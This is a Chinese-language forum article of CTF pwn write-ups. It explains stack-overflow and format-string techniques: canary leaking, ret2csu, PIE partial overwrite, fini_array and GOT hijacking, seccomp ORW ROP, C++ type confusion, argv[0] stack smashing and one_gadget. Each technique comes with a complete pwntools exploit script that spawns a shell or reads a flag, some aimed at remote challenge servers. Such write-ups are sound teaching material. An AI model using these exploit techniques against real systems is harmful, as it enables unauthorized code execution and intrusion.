本文为看雪论坛优秀文章
看雪论坛作者ID:bad_c0de
在(一)中题目主要介绍了些许比较基础的漏洞与栈溢出手法;这次分享的题涉及栈溢出的手法比之前更为巧妙。
同样先查看程序保护,发现开了canary,nx与partial relro。
因此在栈溢出之前泄露canary的值。在这简要介绍下canary保护进制。
Canary保护的stack结构大概如下(64位):
PLAINTEXT
High
Address | |
+-----------------+
| args |
+-----------------+
| return address |
+-----------------+
rbp => | old ebp |
+-----------------+
rbp-8 => | canary value |
+-----------------+
| 局部变量 |
Low | |
Address
在函数返回之前,会将该值取出,并与 fs:0x28 的值进行异或。如果异或的结果为 0,说明 canary 未被修改,函数会正常返回,这个操作即为检测是否发生栈溢出。
如果 canary 已经被非法修改,此时程序流程会走到 __stack_chk_fail。__stack_chk_fail 也是位于 glibc 中的函数,默认情况下经过 ELF 的延迟绑定。
之后我们IDA打开程序进行分析,可以发现在read处存在栈溢出,并且后续的printf会输出栈上的值。这就给我们泄露cananry提供了可能。为了防止canary的泄露,程序在给canaru随机赋值时其最低位会是\x00(因为大多数输出函数将\x00作为截断符。)
所以我们可以通过覆盖canary的低位使其不为\x00即可获取到完整的canary值;在后续的栈溢出时将canary值复原即可实现绕过。但是在第一次覆盖时会改变canary的值触发其保护机制,但是我们发现函数会在进行canary的检查前会进入vuln函数。
发现也是栈溢出,但是溢出字节数刚好覆盖返回地址,可以用来劫持程序控制流,但是不能用来构造rop链。
因此本题总体思路即为通过main函数中的printf泄露canary和libc地址,并通过其较长的溢出空间构造rop链;而vuln中的栈溢出则用来劫持程序控制流,使程序多次溢出。
在这题上有一个小技巧就是main处溢出的栈地址与read处溢出的栈地址并不重合,因此在最后构造好rop链时只需要在main函数处直接读入exp,进入vuln函数处输入一个字节即可。(使其不影响原来读入的rop链)
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
#io=process('./pivot')
io=remote('43.143.7.97',28372)
libc=ELF('./libc.so.6')
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rl()
pop_rdi=0x401343
start=0x4010d0
ret=0x40101a
s(b'a'*0x28+b'\x10')
ru(b'\x10')
canary=u64(r(7).rjust(8,b'\x00'))
print(hex(canary))
payload=b'a'*0x108+p64(canary)+b'a'*8+p64(start)
s(payload)
ru(b'Name:\n')
sl(b'a'*0x37)
rl()
libc_base=u64(r(6).ljust(8,b'\x00'))-128-0x29d10
print(hex(libc_base))
system=libc_base+libc.sym['system']
print(hex(system))
binsh=libc_base+libc.search(b'/bin/sh').__next__()
s(payload)
ru(b'Name:\n')
payload=b'a'*0x28+p64(canary)+b'a'*8+p64(ret)+p64(pop_rdi)+p64(binsh)+p64(system)
sl(payload)
rl()
sl('0')
rl()
shell()
查看程序开启的保护:
该程序的漏洞点位于vuln函数的read存在栈溢出且溢出长度较大,因此可以通过构造rop链通过write函数进行libc地址的泄露;再次劫持函数进行溢出时构造system('/bin/sh')的rop链。
但是我们知道write函数需要三个参数,因此我们分别需要控制rdi,rsi与rdx;但是在程序可用的gadget中,没有可以控制rdx的gadget。此时需要利用到的即是__libc_csu_init里面的另类gadget。
在__libc_csu_init中存在一段这样的指令:
在进行多个寄存器的pop之后,我们可以ret到前面的mov指令,通过控制r14,r13,r12的值来控制rdx,rsi与edi的值。因为write函数需要的rdi的值为1,因此控制edi的值即可达到目标。还需要注意的是要使rbx=rbp-1,这样在call 函数之后进行cmp时不会跳转到mov指令处重复执行。而是可以通过后面的ret指令劫持程序控制流。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
io=remote('43.143.7.97',28326)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
libc=ELF('./libc.so.6')
elf=ELF('./ret2csu')
pop_rdi=0x4012b3
pop_rsi_r15=0x4012b1
write_plt=elf.plt['write']
write_got=elf.got['write']
rl()
rl()
payload=b'a'*0x108+p64(0x4012aa)+p64(0)+p64(1)+p64(1)+p64(write_got)+p64(0x8)+p64(write_got)+p64(0x401290)+b'a'*8+p64(0)*6+p64(elf.sym['main'])
sl(payload)
ru('Ok.\n')
libc_base=u64(ru(b'\x7f').ljust(8,b'\x00'))-libc.sym['write']
print(hex(libc_base))
sym=libc_base+libc.sym['system']
binsh=libc_base+libc.search(b'/bin/sh').__next__()
payload=b'a'*0x108+p64(0x40101a)+p64(pop_rdi)+p64(binsh)+p64(sym)
sl(payload)
ru(b'Ok.\n')
shell()
先看程序保护:
可以发现该程序开启了NX与PIE,partial relro。
在这里简要介绍以下PIE:
PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址。但是内存是以页载入机制,如果开启PIE保护的话,只能影响到单个内存页,一个内存页大小为0x1000,那么就意味着不管地址怎么变,某一条指令的后三位十六进制数的地址是始终不变的。因此我们可以通过覆盖地址的后几位来可以控制程序的流程。
IDA打开程序进行分析。
可以发现在vuln函数中存在栈溢出,并且我们可以在程序中发现后门函数。
但是由于程序开启了PIE保护,无法直接ret到后门执行system('/bin/sh'),更无法构造rop链进行getshell。
但是在前面我们提过一个程序即是开启了PIE,指令地址的后三位也保持不变。
通过分析程序执行流程,我们可以发现vuln函数的返回地址为main函数中的lea rdi,aYouFailed处,该返回地址位于代码段,在实际运行中,跟后门函数存在着一样的偏移地址。
因此该返回地址的值跟后面地址的值只有后两位存在不同,那就意味着我们可以通过覆盖后两位地址进行爆破。因为偏移的后一位半都为0,因此我们可以知道在实际情况中后面函数的后一位半的后一位半即为1E1。而前面半位会比返回地址少1,但是我们并不能知道返回地址究竟是多少,因此我们可以进行爆破。即猜其值为1,实际上其值可能在0-f上进行波动,因此我们每次猜中的概率为1/16。多猜几次即可成功劫持程序返回到后门函数中。
但是如果后面两位覆盖为0x11e1时,栈会出现问题导致system执行不成功。我们可以gdb调试查看一下。
可以发现程序会断在movaps指令处,而movaps 指令是把4个对准的单精度值传送到xmm寄存器或者内存。因此需要内存地址16字节对齐,否则会触发gp保护。
我们可以看到此时的rsp的最后半个字节为0x8,没有对齐,因此会引发gp保护而导致错误。
此时我们继续观察后门函数:
可以发现它先push rbp,这个指令让rsp=rsp-8,如果我们直接跳过push rbp的指令,也就可以让rsp的地址增加8,地址则16字节对齐了。至此完成system('/bin/sh')。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
while 1:
io=process('./ret2text')
rl()
rl()
payload=b'a'*0x108+b'\xe5\x11'
s(payload)
try:
shell()
except:
io.close()
先查看程序保护:
开了nx与canary。
IDA分析程序。
可以发现该程序的printf函数存在格式化字符串漏洞,但是只有一次利用机会;一般的格式化字符串漏洞都是可以多次利用,而在这里只有一次利用机会;如果想要修改返回地址劫持程序的话需要先泄露栈上地址,但是泄露一次之后程序就退出了,无法进行后续利用。因此我们需要寻找二次利用的方法,此时我们来分析一下一个程序执行的流程。
main函数结束时会返回到libc_start_main,而libc_start_main会调用exit函数,在exit函数中会调用finiarray中的函数。
而fini_array中的值可写,因此我们可以通过格式化字符串修改fini_array的值为_start函数地址劫持程序,使其多次在第一次利用格式化字符串漏洞泄露libc地址后可以找到system函数地址,在第二次利用格式化字符串漏洞时可以修改puts的got表,使其指向system函数,因为puts函数的参数是Okk,try to hack it;sh ;linux中,在命令与命令中间利用分号(;)来隔开,分号前的命令执行完成(无论成功与否)后就会立刻接着执行后面的命令。因此会执行system(sh)。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
io=process('./fmtstr_level2')
elf=ELF('./fmtstr_level2')
libc=ELF('./libc-2.31.so')
#io=remote('1.14.71.254',28794)
puts_got=elf.got['puts']
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
fini_array=0x4031f0
start=0x4010D0
ru(b'First please tell me your game ID\n')
payload=b'%15$s\x10\x10\x10'+fmtstr_payload(7,{fini_array:start},9)+p64(elf.got['puts'])
sl(payload)
puts=u64(ru(b'\x7f').ljust(8,b'\x00'))
libc_base=puts-libc.sym['puts']
system=libc_base+libc.sym['system']
print(hex(system))
ru(b'First please tell me your game ID\n')
payload=fmtstr_payload(6,{puts_got:system})
sl(payload)
shell()
IDA进行程序分析。
整个程序是个菜单,功能分别是任意地址四字节写与任意地址读,总共有四次调用机会。因此首先我们可以通过调用任意地址读泄露libc地址,然后便可以修改任意函数的got表进行保护的绕过与溢出的构造。
我们可以发现这个程序在获取数字时read并没有溢出,无法构造rop链,但是我们可以发现它用了atoi来转换buf的类型,其函数只有一个参数用rdi存储。因此我们可以将atoi的got指向gets函数地址,从而造成任意字节溢出。但是程序开启了canary,因此我们需要先修改stack_check_fail的got表,使其指向不会退出的函数地址。
而程序开启了沙箱,我们可以查看一下禁用了哪些系统调用。
经典的orw,但是read的fd必须为0,因此我们需要先调用close函数使open的文件描述符为0,从而read的文件描述符为0。
因此该题思路为:第一次菜单选择任意地址读泄露libc地址,第二次修改stack_check_failgot表,第三次修改atoi的got表造成第四次调用时产生溢出。而在溢出的部分构造rop链来进行orw。但是我们不能直接调用libc中的open函数,因为libc中的open函数为open64,使用的为openat,系统调用号为0x101,会导致程序退出。
我们知道open函数需要两个参数,分别是文件名与操作权限,而我们可以通过pop_rdi与pop_rsi来进行控制。而系统调用号我们可以通过pop_rax来操作,那是否我们可以在libc中找到类似于syscall,ret功能的指令;这样就会让我们执行了open后继续执行rop链来orw。
可以在close函数中找到该指令,只是在中间加了一个判断,但是并不影响栈中的rop链。
后面的rw直接调用函数即可。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io=process('./yellowgot')
elf=ELF('./yellowgot')
libc=ELF('./libc-2.31.so')
#io=remote()
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
ru(b'3.exit.\n')
sl(b'2')
ru(b'Address:\n')
sl(str(elf.got['puts']))
rl()
puts_addr=u64(ru(b'\x7f').ljust(8,b'\x00'))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))
close=libc_base+libc.sym['close']
read=libc_base+libc.sym['read']
gets=libc_base+libc.sym['gets']
pop_rdi=0x23b6a+libc_base
pop_rsi=0x2601f+libc_base
print(hex(pop_rdi))
pop_rdx=0x142c92+libc_base
pop_rcx_rbx=0x10257e+libc_base
pop_rax=0x36174+libc_base
ru(b'3.exit.\n')
sl(b'1')
ru(b'Address:\n')
sl(str(elf.got['__stack_chk_fail']))
rl()
s(p32(elf.plt['puts']&0xffffffff))
ru(b'3.exit.\n')
sl(b'1')
ru(b'Address:\n')
sl(str(elf.got['atoi']))
rl()
s(p32(gets&0xffffffff))
ru(b'3.exit.')
sl(b'1')
payload=b'a'*0x28+p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x404160)+p64(pop_rdx)+p64(0x20)+p64(read)
payload+=p64(pop_rdi)+p64(0)+p64(close)
payload+=p64(pop_rdi)+p64(0x404160)+p64(pop_rsi)+p64(0)+p64(pop_rax)+p64(2)+p64(close+0x15)
payload+=p64(pop_rdi)+p64(0)+p64(pop_rsi)+p64(0x404200)+p64(pop_rdx)+p64(0x20)+p64(read)
payload+=p64(pop_rdi)+p64(0x404200)+p64(puts_addr)
sl(payload)
sl(b'flag\x00\x00\x00\x00')
rl()
rl()
rl()
由于是c++程序,IDA分析较为复杂,本题也放出了源代码。
// g++ -o main main.cpp
#include <iostream>
#include <vector>
#include <string>
#include <random>
#include <chrono>
#include <thread>
#include <csignal>
#include <cstdio>
#include <cstring>
#include <cstdlib>
#include <unistd.h>
#define CMD_MINING 1
#define CMD_SHOW_MINERAL_BOOK 2
#define CMD_EDIT_MINERAL_BOOK 3
#define CMD_EXIT 4
#define MAX_DESCRIPTION_SIZE 0x10
typedef void (*DESC_FUNC)(void);
/* Initialization */
void backdoor()
{
system("/bin/sh");
}
void alarm_handler(int trash)
{
std::cout << "TIMEOUT" << std::endl;
exit(1);
}
void __attribute__((constructor)) initialize(void)
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
setvbuf(stderr, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(60);
}
/* Print functions */
void print_banner()
{
std::cout << "Treasure hunt!" << std::endl;
}
void print_menu()
{
std::cout << std::endl << "[Menu]" << std::endl;
std::cout << "1. Hunting" << std::endl;
std::cout << "2. Show" << std::endl;
std::cout << "3. Edit" << std::endl;
std::cout << "4. Exit" << std::endl;
}
void print_Money_description()
{
std::cout << "Name : Money" << std::endl;
std::cout << "Symbol : Mo" << std::endl;
std::cout << "Description : It can be used to buy things" << std::endl;
}
void print_Gemstone_description()
{
std::cout << "Name : Gemstone" << std::endl;
std::cout << "Symbol : Ge" << std::endl;
std::cout << "Description : It refers to the stone or mineral that can meet the requirements of jewelry after being polished and polished" << std::endl;
}
void print_landasikaass_description()
{
std::cout << "Name : LandasikaAss" << std::endl;
std::cout << "Symbol : La" << std::endl;
std::cout << "Description : Big Ass" << std::endl;
}
void print_Sock_description()
{
std::cout << "Name : Crazyman's Socks" << std::endl;
std::cout << "Symbol : Crz" << std::endl;
std::cout << "Description : Something interesting" << std::endl;
}
void print_CVEcertificate_description()
{
std::cout << "Name : CVEcertificate" << std::endl;
std::cout << "Symbol : CVE" << std::endl;
std::cout << "Description : If you have a CVE certificate, you are a big hacker" << std::endl;
}
std::vector<DESC_FUNC> babyfuncs = {
print_Money_description,
print_Gemstone_description,
print_landasikaass_description,
print_Sock_description,
print_CVEcertificate_description
};
/* Utils */
int get_int(const char* prompt = ">> ")
{
std::cout << prompt;
int x;
std::cin >> x;
return x;
}
std::string get_string(const char* prompt = ">> ")
{
std::cout << prompt;
std::string x;
std::cin >> x;
return x;
}
int get_rand_int(int start, int end)
{
std::random_device rd;
std::mt19937 gen(rd());
std::uniform_int_distribution<int> dis(start, end);
return dis(gen);
}
/* Classes */
class treasure
{
public:
virtual void print_description() const = 0;
};
class UndiscoveredTreasure : public treasure
{
public:
UndiscoveredTreasure(std::string description_)
{
strncpy(description, description_.c_str(), MAX_DESCRIPTION_SIZE);
}
void print_description() const override
{
std::cout << "Name : Unknown" << std::endl;
std::cout << "Symbol : Unknown" << std::endl;
std::cout << "Description : " << description << std::endl;
}
char description[MAX_DESCRIPTION_SIZE];
};
class RareTreasure : public treasure
{
public:
RareTreasure(DESC_FUNC description_)
: description(description_)
{
}
void print_description() const override
{
if ( description )
description();
}
DESC_FUNC description;
};
std::vector<treasure *> Treasure;
void hunting()
{
std::cout << "[+] Hunting..." << std::endl;
std::this_thread::sleep_for(std::chrono::milliseconds(get_rand_int(100, 1000)));
if ( get_rand_int(1, 100) <= 50 )
{
std::cout << "You found an undiscovered treasure" << std::endl;
std::string description = get_string("Please Input description : ");
Treasure.push_back(new UndiscoveredTreasure(description));
}
else if ( get_rand_int(1, 100) <= 5 )
{
std::cout << "You found a rare treasure" << std::endl;
DESC_FUNC description = babyfuncs[get_rand_int(0, babyfuncs.size() - 1)];
Treasure.push_back(new RareTreasure(description));
Treasure.back()->print_description();
}
else {
std::cout << "Found nothing" << std::endl;
}
return;
}
void edit_treasure_book()
{
int index = get_int("Index : ");
if ( index < 0 || index >= Treasure.size() )
{
std::cout << "Invalid index" << std::endl;
return;
}
std::string description = get_string("Please Input description : ");
strncpy(
static_cast<UndiscoveredTreasure*>(Treasure[index])->description,
description.c_str(),
MAX_DESCRIPTION_SIZE
);
}
void show_treasure_book()
{
for ( int index = 0; index < Treasure.size(); index++ )
{
std::cout << "Idx : " << index << std::endl;
Treasure[index]->print_description();
}
std::cout << std::endl;
}
/* Main function */
int main(){
print_banner();
while(1){
print_menu();
int selector = get_int();
switch (selector){
case CMD_MINING:
hunting();
break;
case CMD_SHOW_MINERAL_BOOK:
show_treasure_book();
break;
case CMD_EDIT_MINERAL_BOOK:
edit_treasure_book();
break;
case CMD_EXIT:
return 0;
default:
std::cout << "W" << std::endl;
break;
}
}
return 0;
}
可以看到该程序定义了两个类,但是在rare类中的print_description中存在函数执行。虽然在edit函数中通过static_cast<UndiscoveredTreasure*>(Treasure[index])->description,;来进行类型转换,但是static_cast不能转换掉expression的const、volatile、或者__unaligned属性,同样也不能用来去掉static属性。因此我们只要创建一个rare类并将其description写成后门函数地址,使其在show时进入到后门函数中进行执行。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
io=process('./main')
#sh = ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
#io=sh.process('/home/lotto/lotto')
#io=remote()
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
backdoor=0x40257A
ru(b'4. Exit\n')
sl(b'1')
rl()
msg=rl()
flag=0
while b'rare' not in msg:
if b'undis' in msg:
flag+=1
sl(b'aaaa')
ru(b'4. Exit\n')
sl(b'1')
rl()
msg=rl()
ru(b'4. Exit\n')
sl(b'3')
ru(b'Index :')
sl(str(flag))
ru(b'Please Input description :')
sl(p64(backdoor))
ru(b'4. Exit\n')
sl(b'2')
shell()
IDA打开进行分析,非常常规的栈溢出。
所以可以直接构造rop链用puts函数泄露libc地址,然后劫持控制流再次进行栈溢出执行system('/bin/sh')。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
io=process('./ret2libc')
elf=ELF('./ret2libc')
libc=ELF('./libc-2.31.so')
io=remote('1.14.71.254',28078)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rl()
pop_rdi=0x401273
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main=elf.sym['main']
payload=b'a'*0x108+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main)
sl(payload)
puts_addr=u64(ru(b'\x7f').ljust(8,b'\x00'))
func_add=puts_addr-libc.sym['puts']
system=func_add+libc.sym['system']
binsh=func_add+libc.search(b'/bin/sh').__next__()
payload=b'a'*0x108+p64(pop_rdi)+p64(binsh)+p64(0x40101a)+p64(system)
sl(payload)
shell()
通过格式化字符串漏洞任意写修改key的值即可。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
context(log_level='debug',arch='amd64',os='linux')
io=process('./fmtstr_level1.5')
io=remote('1.14.71.254',28572)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rl()
rl()
rl()
payload='%9011c%8$n'+'a'*6+p64(0x4040A0)
sl(payload)
shell()
栈溢出,存在后门函数,直接覆盖返回地址为后门函数即可。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
io=process('./ez_backdoor')
io=remote('1.14.71.254',28263)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rl()
rl()
payload=b'a'*0x108+p64(0x4011D2)
sl(payload)
shell()
IDA进行分析。
发现程序读入了flag文件但是没有输出,而gets函数处存在任意大小的栈溢出。但是程序存在canary保护,却泄露不了canary值;那我们是否可以通过覆盖fs:[0x28]的值呢?
但是我们发现fs:[0x28]的地址比栈地址要低,而gets是从低地址向高地址进行覆盖,无法覆盖到fs:[0x28]。我们没有办法泄露canary的值即无法绕过其保护。
此时读入flag的内容的作用就起到了。
在低版本的libc中,当程序开启了Canary时,如果把该值覆盖,程序报错时会输出argv[0]的信息。
void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
__fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
/* The loop is added only to keep gcc happy. */
while (1)
__libc_message (2, "*** %s ***: %s terminated\n",
msg, __libc_argv[0] ?: "<unknown>");
}
所以,我们一旦能够覆盖argv[0]为flag,那么在输出报错信息时,就成功的泄露了flag的值。
(1)我们需要的是偏移:从可以输入的栈指针到argv[0]的偏移值,即为我们需要填充的。
(2)我们需要的是flag的地址:将argv[0]修改成flag的地址
因为argv[0]存储的是文件的绝对路径值,因此我们可以通过gdb调试发现其相对s的位置。
因此覆盖504个字节后即可达到argv[0]的地址,将flag地址覆盖argv[0]的地址即可在stack_check_fail的输出flag。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
io=process('./smash')
#io=remote('43.143.7.127',28065)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
rl()
flag_addr=0x404060
payload=b'a'*0x1f8+p64(flag_addr)
sl(payload)
rl()
保护全开
IDA打开分析发现是菜单题,总共有三个功能。
case1为创建一个小猫,并赋予名字与毛色;case2改变小猫的颜色,但是我们可以发现在read s1处可以覆盖到buf的地址,因此我们可以改变buf的值来达成数组越界,后面会读入0xc个字节读到我们的越界数组内。而case3中存在格式化字符串漏洞。
因此我们可以通过先泄露libc地址,然后再通过数组越界改变返回地址。但是我们发现我们通过数组越界能操作的内存并不连续,因此无法构造rop链,只能覆盖返回地址的低四位,因为我们知道函数执行完main函数之后会返回到libc上的函数,因此覆盖第四位即可返回到libc上的任意地址。
而在libc上会有很强大的rop链,被称为one_gadget,只要覆盖返回到该地址,寄存器满足一定条件,即可getshell(原理即为在该地址处会进行一系列的寄存器赋值指令并且进行系统调用。)
在第一个one_gadget我们数组越界可以覆盖rbp,因此将rbp覆盖为0,返回地址覆盖为one_gadget地址即可。
#!/usr/bin/env python
# -*- encoding: utf-8 -*-
from pwn import *
from LibcSearcher import *
context(log_level='debug',arch='amd64',os='linux')
context.terminal = ['tmux','splitw','-h']
io=process('./Catcat')
libc=ELF('./libc.so.6')
#attach(io)
#sh = ssh(host='pwnable.kr',user='lotto',password='guest',port=2222)
#io=sh.process('/home/lotto/lotto')
#io=remote('43.143.7.97',28615)
s = lambda buf: io.send(buf)
sl = lambda buf: io.sendline(buf)
sa = lambda delim, buf: io.sendafter(delim, buf)
sal = lambda delim, buf: io.sendlineafter(delim, buf)
shell = lambda: io.interactive()
r = lambda n=None: io.recv(n)
ra = lambda t=tube.forever:io.recvall(t)
ru = lambda delim: io.recvuntil(delim)
rl = lambda: io.recvline()
def add(name):
sl('1')
ru(b'plz give the cat a name:\n')
sl(name)
ru(b'>>')
sl('1')
rl()
def edit(newname):
sl('2')
ru(b'please input index\n')
sl('0')
rl()
payload=b'yes'.ljust(0x20,b'\x00')
payload+=b'4'
s(payload)
rl()
s(newname)
rl()
def show():
sl('3')
ru(b'cat0 name is:')
libc_base=int(r(14),16)-0x29d90
rl()
return libc_base
def exit():
sl(b'4')
rl()
def exp():
ru(b'>>')
add('%35$p')
libc_base=show()
one_gadget=libc_base+0x50a37
print(hex(libc_base))
newname=b'\x00'*8+p64(one_gadget)
edit(newname)
add('1')
add('2')
add('3')
ru(b'>>')
sl('1')
exp()
shell()
看雪ID:bad_c0de
https://bbs.kanxue.com/user-home-967128.htm
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!